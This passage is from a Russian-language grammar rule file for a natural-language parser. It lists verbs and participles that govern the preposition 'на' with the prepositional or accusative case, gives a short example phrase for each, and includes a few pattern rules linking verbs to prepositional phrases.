rus_verbs:хоронить{}, // хоронить на частном кладбище
rus_verbs:установиться{}, // установиться на юге
rus_verbs:прикидывать{}, // прикидывать на клочке бумаги
rus_verbs:затаиться{}, // затаиться на дереве
rus_verbs:раздобыть{}, // раздобыть на складе
rus_verbs:перебросить{}, // перебросить на вертолетах
rus_verbs:захватывать{}, // захватывать на базе
rus_verbs:сказаться{}, // сказаться на итоговых оценках
rus_verbs:покачиваться{}, // покачиваться на волнах
rus_verbs:крутиться{}, // крутиться на кухне
rus_verbs:помещаться{}, // помещаться на полке
rus_verbs:питаться{}, // питаться на помойке
rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле
rus_verbs:кататься{}, // кататься на велике
rus_verbs:поработать{}, // поработать на стройке
rus_verbs:ограбить{}, // ограбить на пустыре
rus_verbs:зарабатывать{}, // зарабатывать на бирже
rus_verbs:преуспеть{}, // преуспеть на ниве искусства
rus_verbs:заерзать{}, // заерзать на стуле
rus_verbs:разъяснить{}, // разъяснить на полях
rus_verbs:отчеканить{}, // отчеканить на медной пластине
rus_verbs:торговать{}, // торговать на рынке
rus_verbs:поколебаться{}, // поколебаться на пороге
rus_verbs:прикинуть{}, // прикинуть на бумажке
rus_verbs:рассечь{}, // рассечь на тупом конце
rus_verbs:посмеяться{}, // посмеяться на переменке
rus_verbs:остыть{}, // остыть на морозном воздухе
rus_verbs:запереться{}, // запереться на чердаке
rus_verbs:обогнать{}, // обогнать на повороте
rus_verbs:подтянуться{}, // подтянуться на турнике
rus_verbs:привозить{}, // привозить на машине
rus_verbs:подбирать{}, // подбирать на полу
rus_verbs:уничтожать{}, // уничтожать на подходе
rus_verbs:притаиться{}, // притаиться на вершине
rus_verbs:плясать{}, // плясать на костях
rus_verbs:поджидать{}, // поджидать на вокзале
rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!)
rus_verbs:смениться{}, // смениться на посту
rus_verbs:посчитать{}, // посчитать на пальцах
rus_verbs:прицелиться{}, // прицелиться на бегу
rus_verbs:нарисовать{}, // нарисовать на стене
rus_verbs:прыгать{}, // прыгать на сцене
rus_verbs:повертеть{}, // повертеть на пальце
rus_verbs:попрощаться{}, // попрощаться на панихиде
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване
rus_verbs:разобрать{}, // разобрать на столе
rus_verbs:помереть{}, // помереть на чужбине
rus_verbs:различить{}, // различить на нечеткой фотографии
rus_verbs:рисовать{}, // рисовать на доске
rus_verbs:проследить{}, // проследить на экране
rus_verbs:задремать{}, // задремать на диване
rus_verbs:ругаться{}, // ругаться на людях
rus_verbs:сгореть{}, // сгореть на работе
rus_verbs:зазвучать{}, // зазвучать на коротких волнах
rus_verbs:задохнуться{}, // задохнуться на вершине горы
rus_verbs:порождать{}, // порождать на поверхности небольшую рябь
rus_verbs:отдыхать{}, // отдыхать на курорте
rus_verbs:образовать{}, // образовать на дне толстый слой
rus_verbs:поправиться{}, // поправиться на дармовых харчах
rus_verbs:отмечать{}, // отмечать на календаре
rus_verbs:реять{}, // реять на флагштоке
rus_verbs:ползти{}, // ползти на коленях
rus_verbs:продавать{}, // продавать на аукционе
rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче
rus_verbs:рыскать{}, // мышки рыскали на кухне
rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы
rus_verbs:напасть{}, // напасть на территории другого государства
rus_verbs:издать{}, // издать на западе
rus_verbs:оставаться{}, // оставаться на страже порядка
rus_verbs:появиться{}, // наконец появиться на экране
rus_verbs:лежать{}, // лежать на столе
rus_verbs:ждать{}, // ждать на берегу
инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге
глагол:писать{aux stress="пис^ать"},
rus_verbs:оказываться{}, // оказываться на полу
rus_verbs:поставить{}, // поставить на столе
rus_verbs:держать{}, // держать на крючке
rus_verbs:выходить{}, // выходить на остановке
rus_verbs:заговорить{}, // заговорить на китайском языке
rus_verbs:ожидать{}, // ожидать на стоянке
rus_verbs:закричать{}, // закричал на минарете муэдзин
rus_verbs:простоять{}, // простоять на посту
rus_verbs:продолжить{}, // продолжить на первом этаже
rus_verbs:ощутить{}, // ощутить на себе влияние кризиса
rus_verbs:состоять{}, // состоять на учете
rus_verbs:готовиться{},
инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте
глагол:акклиматизироваться{вид:несоверш},
rus_verbs:арестовать{}, // грабители были арестованы на месте преступления
rus_verbs:схватить{}, // грабители были схвачены на месте преступления
инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{ вид:соверш },
прилагательное:атаковавший{ вид:соверш },
rus_verbs:базировать{}, // установка будет базирована на границе
rus_verbs:базироваться{}, // установка базируется на границе
rus_verbs:барахтаться{}, // дети барахтались на мелководье
rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке
rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке
rus_verbs:бренчать{}, // парень что-то бренчал на гитаре
rus_verbs:бренькать{}, // парень что-то бренькает на гитаре
rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории.
rus_verbs:буксовать{}, // Колеса буксуют на льду
rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле
rus_verbs:взвести{}, // Боец взвел на оружии предохранитель
rus_verbs:вилять{}, // Машина сильно виляла на дороге
rus_verbs:висеть{}, // Яблоко висит на ветке
rus_verbs:возлежать{}, // возлежать на лежанке
rus_verbs:подниматься{}, // Мы поднимаемся на лифте
rus_verbs:подняться{}, // Мы поднимемся на лифте
rus_verbs:восседать{}, // Коля восседает на лошади
rus_verbs:воссиять{}, // Луна воссияла на небе
rus_verbs:воцариться{}, // Мир воцарился на всей земле
rus_verbs:воцаряться{}, // Мир воцаряется на всей земле
rus_verbs:вращать{}, // вращать на поясе
rus_verbs:вращаться{}, // вращаться на поясе
rus_verbs:встретить{}, // встретить друга на улице
rus_verbs:встретиться{}, // встретиться на занятиях
rus_verbs:встречать{}, // встречать на занятиях
rus_verbs:въебывать{}, // въебывать на работе
rus_verbs:въезжать{}, // въезжать на автомобиле
rus_verbs:въехать{}, // въехать на автомобиле
rus_verbs:выгорать{}, // ткань выгорает на солнце
rus_verbs:выгореть{}, // ткань выгорела на солнце
rus_verbs:выгравировать{}, // выгравировать на табличке надпись
rus_verbs:выжить{}, // выжить на необитаемом острове
rus_verbs:вылежаться{}, // помидоры вылежались на солнце
rus_verbs:вылеживаться{}, // вылеживаться на солнце
rus_verbs:выместить{}, // выместить на ком-то злобу
rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение
rus_verbs:вымещаться{}, // вымещаться на ком-то
rus_verbs:выращивать{}, // выращивать на грядке помидоры
rus_verbs:выращиваться{}, // выращиваться на грядке
инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись
глагол:вырезать{вид:соверш},
инфинитив:вырезать{вид:несоверш},
глагол:вырезать{вид:несоверш},
rus_verbs:вырисоваться{}, // вырисоваться на графике
rus_verbs:вырисовываться{}, // вырисовываться на графике
rus_verbs:высаживать{}, // высаживать на необитаемом острове
rus_verbs:высаживаться{}, // высаживаться на острове
rus_verbs:высвечивать{}, // высвечивать на дисплее температуру
rus_verbs:высвечиваться{}, // высвечиваться на дисплее
rus_verbs:выстроить{}, // выстроить на фундаменте
rus_verbs:выстроиться{}, // выстроиться на плацу
rus_verbs:выстудить{}, // выстудить на морозе
rus_verbs:выстудиться{}, // выстудиться на морозе
rus_verbs:выстужать{}, // выстужать на морозе
rus_verbs:выстуживать{}, // выстуживать на морозе
rus_verbs:выстуживаться{}, // выстуживаться на морозе
rus_verbs:выстукать{}, // выстукать на клавиатуре
rus_verbs:выстукивать{}, // выстукивать на клавиатуре
rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре
rus_verbs:выступать{}, // выступать на сцене
rus_verbs:выступить{}, // выступить на сцене
rus_verbs:выстучать{}, // выстучать на клавиатуре
rus_verbs:выстывать{}, // выстывать на морозе
rus_verbs:выстыть{}, // выстыть на морозе
rus_verbs:вытатуировать{}, // вытатуировать на руке якорь
rus_verbs:говорить{}, // говорить на повышенных тонах
rus_verbs:заметить{}, // заметить на берегу
rus_verbs:стоять{}, // твёрдо стоять на ногах
rus_verbs:оказаться{}, // оказаться на передовой линии
rus_verbs:почувствовать{}, // почувствовать на своей шкуре
rus_verbs:остановиться{}, // остановиться на первом пункте
rus_verbs:показаться{}, // показаться на горизонте
rus_verbs:чувствовать{}, // чувствовать на своей шкуре
rus_verbs:искать{}, // искать на открытом пространстве
rus_verbs:иметься{}, // иметься на складе
rus_verbs:клясться{}, // клясться на Коране
rus_verbs:прервать{}, // прервать на полуслове
rus_verbs:играть{}, // играть на чувствах
rus_verbs:спуститься{}, // спуститься на парашюте
rus_verbs:понадобиться{}, // понадобиться на экзамене
rus_verbs:служить{}, // служить на флоте
rus_verbs:подобрать{}, // подобрать на улице
rus_verbs:появляться{}, // появляться на сцене
rus_verbs:селить{}, // селить на чердаке
rus_verbs:поймать{}, // поймать на границе
rus_verbs:увидать{}, // увидать на опушке
rus_verbs:подождать{}, // подождать на перроне
rus_verbs:прочесть{}, // прочесть на полях
rus_verbs:тонуть{}, // тонуть на мелководье
rus_verbs:ощущать{}, // ощущать на коже
rus_verbs:отметить{}, // отметить на полях
rus_verbs:показывать{}, // показывать на графике
rus_verbs:разговаривать{}, // разговаривать на иностранном языке
rus_verbs:прочитать{}, // прочитать на сайте
rus_verbs:попробовать{}, // попробовать на практике
rus_verbs:замечать{}, // замечать на коже грязь
rus_verbs:нести{}, // нести на плечах
rus_verbs:носить{}, // носить на голове
rus_verbs:гореть{}, // гореть на работе
rus_verbs:застыть{}, // застыть на пороге
инфинитив:жениться{ вид:соверш }, // жениться на королеве
глагол:жениться{ вид:соверш },
прилагательное:женатый{},
прилагательное:женившийся{},
rus_verbs:спрятать{}, // спрятать на чердаке
rus_verbs:развернуться{}, // развернуться на плацу
rus_verbs:строить{}, // строить на песке
rus_verbs:устроить{}, // устроить на даче тестральный вечер
rus_verbs:настаивать{}, // настаивать на выполнении приказа
rus_verbs:находить{}, // находить на берегу
rus_verbs:мелькнуть{}, // мелькнуть на экране
rus_verbs:очутиться{}, // очутиться на опушке леса
инфинитив:использовать{вид:соверш}, // использовать на работе
глагол:использовать{вид:соверш},
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
прилагательное:использованный{},
прилагательное:использующий{},
прилагательное:использовавший{},
rus_verbs:лететь{}, // лететь на воздушном шаре
rus_verbs:смеяться{}, // смеяться на сцене
rus_verbs:ездить{}, // ездить на мопеде
rus_verbs:заснуть{}, // заснуть на диване
rus_verbs:застать{}, // застать на рабочем месте
rus_verbs:очнуться{}, // очнуться на больничной койке
rus_verbs:разглядеть{}, // разглядеть на фотографии
rus_verbs:обойти{}, // обойти на вираже
rus_verbs:удержаться{}, // удержаться на троне
rus_verbs:побывать{}, // побывать на другой планете
rus_verbs:заняться{}, // заняться на выходных делом
rus_verbs:вянуть{}, // вянуть на солнце
rus_verbs:постоять{}, // постоять на голове
rus_verbs:приобрести{}, // приобрести на распродаже
rus_verbs:попасться{}, // попасться на краже
rus_verbs:продолжаться{}, // продолжаться на земле
rus_verbs:открывать{}, // открывать на арене
rus_verbs:создавать{}, // создавать на сцене
rus_verbs:обсуждать{}, // обсуждать на кухне
rus_verbs:отыскать{}, // отыскать на полу
rus_verbs:уснуть{}, // уснуть на диване
rus_verbs:задержаться{}, // задержаться на работе
rus_verbs:курить{}, // курить на свежем воздухе
rus_verbs:приподняться{}, // приподняться на локтях
rus_verbs:установить{}, // установить на вершине
rus_verbs:запереть{}, // запереть на балконе
rus_verbs:синеть{}, // синеть на воздухе
rus_verbs:убивать{}, // убивать на нейтральной территории
rus_verbs:скрываться{}, // скрываться на даче
rus_verbs:родить{}, // родить на полу
rus_verbs:описать{}, // описать на страницах книги
rus_verbs:перехватить{}, // перехватить на подлете
rus_verbs:скрывать{}, // скрывать на даче
rus_verbs:сменить{}, // сменить на посту
rus_verbs:мелькать{}, // мелькать на экране
rus_verbs:присутствовать{}, // присутствовать на мероприятии
rus_verbs:украсть{}, // украсть на рынке
rus_verbs:победить{}, // победить на ринге
rus_verbs:упомянуть{}, // упомянуть на страницах романа
rus_verbs:плыть{}, // плыть на старой лодке
rus_verbs:повиснуть{}, // повиснуть на перекладине
rus_verbs:нащупать{}, // нащупать на дне
rus_verbs:затихнуть{}, // затихнуть на дне
rus_verbs:построить{}, // построить на участке
rus_verbs:поддерживать{}, // поддерживать на поверхности
rus_verbs:заработать{}, // заработать на бирже
rus_verbs:провалиться{}, // провалиться на экзамене
rus_verbs:сохранить{}, // сохранить на диске
rus_verbs:располагаться{}, // располагаться на софе
rus_verbs:поклясться{}, // поклясться на библии
rus_verbs:сражаться{}, // сражаться на арене
rus_verbs:спускаться{}, // спускаться на дельтаплане
rus_verbs:уничтожить{}, // уничтожить на подступах
rus_verbs:изучить{}, // изучить на практике
rus_verbs:рождаться{}, // рождаться на праздниках
rus_verbs:прилететь{}, // прилететь на самолете
rus_verbs:догнать{}, // догнать на перекрестке
rus_verbs:изобразить{}, // изобразить на бумаге
rus_verbs:проехать{}, // проехать на тракторе
rus_verbs:приготовить{}, // приготовить на масле
rus_verbs:споткнуться{}, // споткнуться на полу
rus_verbs:собирать{}, // собирать на берегу
rus_verbs:отсутствовать{}, // отсутствовать на тусовке
rus_verbs:приземлиться{}, // приземлиться на военном аэродроме
rus_verbs:сыграть{}, // сыграть на трубе
rus_verbs:прятаться{}, // прятаться на даче
rus_verbs:спрятаться{}, // спрятаться на чердаке
rus_verbs:провозгласить{}, // провозгласить на митинге
rus_verbs:изложить{}, // изложить на бумаге
rus_verbs:использоваться{}, // использоваться на практике
rus_verbs:замяться{}, // замяться на входе
rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота
rus_verbs:сверкнуть{}, // сверкнуть на солнце
rus_verbs:сверкать{}, // сверкать на свету
rus_verbs:задержать{}, // задержать на митинге
rus_verbs:осечься{}, // осечься на первом слове
rus_verbs:хранить{}, // хранить на банковском счету
rus_verbs:шутить{}, // шутить на уроке
rus_verbs:кружиться{}, // кружиться на балу
rus_verbs:чертить{}, // чертить на доске
rus_verbs:отразиться{}, // отразиться на оценках
rus_verbs:греть{}, // греть на солнце
rus_verbs:рассуждать{}, // рассуждать на страницах своей книги
rus_verbs:окружать{}, // окружать на острове
rus_verbs:сопровождать{}, // сопровождать на охоте
rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте
rus_verbs:содержаться{}, // содержаться на приусадебном участке
rus_verbs:поселиться{}, // поселиться на даче
rus_verbs:запеть{}, // запеть на сцене
инфинитив:провозить{ вид:несоверш }, // провозить на теле
глагол:провозить{ вид:несоверш },
прилагательное:провезенный{},
прилагательное:провозивший{вид:несоверш},
прилагательное:провозящий{вид:несоверш},
деепричастие:провозя{},
rus_verbs:мочить{}, // мочить на месте
rus_verbs:преследовать{}, // преследовать на территории другого штата
rus_verbs:пролететь{}, // пролетел на параплане
rus_verbs:драться{}, // драться на рапирах
rus_verbs:просидеть{}, // просидеть на занятиях
rus_verbs:убираться{}, // убираться на балконе
rus_verbs:таять{}, // таять на солнце
rus_verbs:проверять{}, // проверять на полиграфе
rus_verbs:убеждать{}, // убеждать на примере
rus_verbs:скользить{}, // скользить на льду
rus_verbs:приобретать{}, // приобретать на распродаже
rus_verbs:летать{}, // летать на метле
rus_verbs:толпиться{}, // толпиться на перроне
rus_verbs:плавать{}, // плавать на надувном матрасе
rus_verbs:описывать{}, // описывать на страницах повести
rus_verbs:пробыть{}, // пробыть на солнце слишком долго
rus_verbs:застрять{}, // застрять на верхнем этаже
rus_verbs:метаться{}, // метаться на полу
rus_verbs:сжечь{}, // сжечь на костре
rus_verbs:расслабиться{}, // расслабиться на кушетке
rus_verbs:услыхать{}, // услыхать на рынке
rus_verbs:удержать{}, // удержать на прежнем уровне
rus_verbs:образоваться{}, // образоваться на дне
rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа
rus_verbs:уезжать{}, // уезжать на попутке
rus_verbs:похоронить{}, // похоронить на закрытом кладбище
rus_verbs:настоять{}, // настоять на пересмотре оценок
rus_verbs:растянуться{}, // растянуться на горячем песке
rus_verbs:покрутить{}, // покрутить на шесте
rus_verbs:обнаружиться{}, // обнаружиться на болоте
rus_verbs:гулять{}, // гулять на свадьбе
rus_verbs:утонуть{}, // утонуть на курорте
rus_verbs:храниться{}, // храниться на депозите
rus_verbs:танцевать{}, // танцевать на свадьбе
rus_verbs:трудиться{}, // трудиться на заводе
инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати
глагол:засыпать{переходность:непереходный вид:несоверш},
деепричастие:засыпая{переходность:непереходный вид:несоверш},
прилагательное:засыпавший{переходность:непереходный вид:несоверш},
прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках
rus_verbs:сушить{}, // сушить на открытом воздухе
rus_verbs:зашевелиться{}, // зашевелиться на чердаке
rus_verbs:обдумывать{}, // обдумывать на досуге
rus_verbs:докладывать{}, // докладывать на научной конференции
rus_verbs:промелькнуть{}, // промелькнуть на экране
// прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории
прилагательное:написанный{}, // слово, написанное на заборе
rus_verbs:умещаться{}, // компьютер, умещающийся на ладони
rus_verbs:открыть{}, // книга, открытая на последней странице
rus_verbs:спать{}, // йог, спящий на гвоздях
rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте
rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте
rus_verbs:отобразиться{}, // удивление, отобразившееся на лице
rus_verbs:увидеть{}, // на полу я увидел чьи-то следы
rus_verbs:видеть{}, // на полу я вижу чьи-то следы
rus_verbs:оставить{}, // Мел оставил на доске белый след.
rus_verbs:оставлять{}, // Мел оставляет на доске белый след.
rus_verbs:встречаться{}, // встречаться на лекциях
rus_verbs:познакомиться{}, // познакомиться на занятиях
rus_verbs:устроиться{}, // она устроилась на кровати
rus_verbs:ложиться{}, // ложись на полу
rus_verbs:останавливаться{}, // останавливаться на достигнутом
rus_verbs:спотыкаться{}, // спотыкаться на ровном месте
rus_verbs:распечатать{}, // распечатать на бумаге
rus_verbs:распечатывать{}, // распечатывать на бумаге
rus_verbs:просмотреть{}, // просмотреть на бумаге
rus_verbs:закрепляться{}, // закрепляться на плацдарме
rus_verbs:погреться{}, // погреться на солнышке
rus_verbs:мешать{}, // Он мешал краски на палитре.
rus_verbs:занять{}, // Он занял первое место на соревнованиях.
rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках.
деепричастие:женившись{ вид:соверш },
rus_verbs:везти{}, // Он везёт песок на тачке.
прилагательное:казненный{}, // Он был казнён на электрическом стуле.
rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче.
rus_verbs:принести{}, // Официантка принесла нам обед на подносе.
rus_verbs:переписать{}, // Перепишите эту рукопись на машинке.
rus_verbs:идти{}, // Поезд идёт на малой скорости.
rus_verbs:петь{}, // птички поют на рассвете
rus_verbs:смотреть{}, // Смотри на обороте.
rus_verbs:прибрать{}, // прибрать на столе
rus_verbs:прибраться{}, // прибраться на столе
rus_verbs:растить{}, // растить капусту на огороде
rus_verbs:тащить{}, // тащить ребенка на руках
rus_verbs:убирать{}, // убирать на столе
rus_verbs:простыть{}, // Я простыл на морозе.
rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе.
rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде
rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках.
rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге.
rus_verbs:вскочить{}, // У него вскочил прыщ на носу.
rus_verbs:свить{}, // У нас на балконе воробей свил гнездо.
rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица.
rus_verbs:восходить{}, // Солнце восходит на востоке.
rus_verbs:блестеть{}, // Снег блестит на солнце.
rus_verbs:побить{}, // Рысак побил всех лошадей на скачках.
rus_verbs:литься{}, // Реки крови льются на войне.
rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах.
rus_verbs:клубиться{}, // Пыль клубится на дороге.
инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке
глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке.
// глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути
// инфинитив:находиться{вид:несоверш},
rus_verbs:жить{}, // Было интересно жить на курорте.
rus_verbs:повидать{}, // Он много повидал на своём веку.
rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду.
rus_verbs:расположиться{}, // Оба села расположились на берегу реки.
rus_verbs:объясняться{}, // Они объясняются на иностранном языке.
rus_verbs:прощаться{}, // Они долго прощались на вокзале.
rus_verbs:работать{}, // Она работает на ткацкой фабрике.
rus_verbs:купить{}, // Она купила молоко на рынке.
rus_verbs:поместиться{}, // Все книги поместились на полке.
глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике.
rus_verbs:пожить{}, // Недолго она пожила на свете.
rus_verbs:краснеть{}, // Небо краснеет на закате.
rus_verbs:бывать{}, // На Волге бывает сильное волнение.
rus_verbs:ехать{}, // Мы туда ехали на автобусе.
rus_verbs:провести{}, // Мы провели месяц на даче.
rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице.
rus_verbs:расти{}, // Арбузы растут теперь не только на юге.
ГЛ_ИНФ(сидеть), // три больших пса сидят на траве
ГЛ_ИНФ(сесть), // три больших пса сели на траву
ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль
ГЛ_ИНФ(повезти), // я повезу тебя на машине
ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси
ГЛ_ИНФ(пить), // пить на кухне чай
ГЛ_ИНФ(найти), // найти на острове
ГЛ_ИНФ(быть), // на этих костях есть следы зубов
ГЛ_ИНФ(высадиться), // помощники высадились на острове
ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове
ГЛ_ИНФ(случиться), // это случилось на опушке леса
ГЛ_ИНФ(продать),
ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: смотреть на youtube
fact гл_предл
{
if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} }
then return true
}
// локатив
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} }
then return true
}
#endregion ПРЕДЛОЖНЫЙ
#region ВИНИТЕЛЬНЫЙ
// НА+винительный падеж:
// ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ
#region VerbList
wordentry_set Гл_НА_Вин=
{
rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили.
rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку.
rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай.
rus_verbs:умножить{}, // Умножьте это количество примерно на 10.
//rus_verbs:умножать{},
rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу.
rus_verbs:откатывать{},
rus_verbs:доносить{}, // Вот и побежали на вас доносить.
rus_verbs:донести{},
rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
безлич_глагол:хватит{}, // - На одну атаку хватит.
rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты.
rus_verbs:поскупиться{}, // Не поскупись на похвалы!
rus_verbs:подыматься{},
rus_verbs:транспортироваться{},
rus_verbs:бахнуть{}, // Бахнуть стакан на пол
rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ)
rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ)
rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ)
rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ)
rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ)
rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ)
rus_verbs:БРЫЗГАТЬ{},
rus_verbs:БРЫЗНУТЬ{},
rus_verbs:КАПНУТЬ{},
rus_verbs:КАПАТЬ{},
rus_verbs:ПОКАПАТЬ{},
rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ)
rus_verbs:ОХОТИТЬСЯ{}, //
rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ)
rus_verbs:НАРВАТЬСЯ{}, //
rus_verbs:НАТОЛКНУТЬСЯ{}, //
rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ)
прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ)
rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ)
rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ)
rus_verbs:СТАЛКИВАТЬ{}, //
rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ)
rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ)
rus_verbs:ПЕРЕБРОСИТЬ{}, //
rus_verbs:НАБРАСЫВАТЬ{}, //
rus_verbs:НАБРОСИТЬ{}, //
rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ)
rus_verbs:СВОРАЧИВАТЬ{}, // //
rus_verbs:ПОВЕРНУТЬ{}, //
rus_verbs:ПОВОРАЧИВАТЬ{}, //
rus_verbs:наорать{},
rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ)
rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ)
rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:перегонять{},
rus_verbs:выгонять{},
rus_verbs:выгнать{},
rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ)
rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ)
rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ)
rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ)
rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций
rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин)
rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА)
// rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА)
rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА)
rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин)
rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА)
rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА)
rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин)
rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
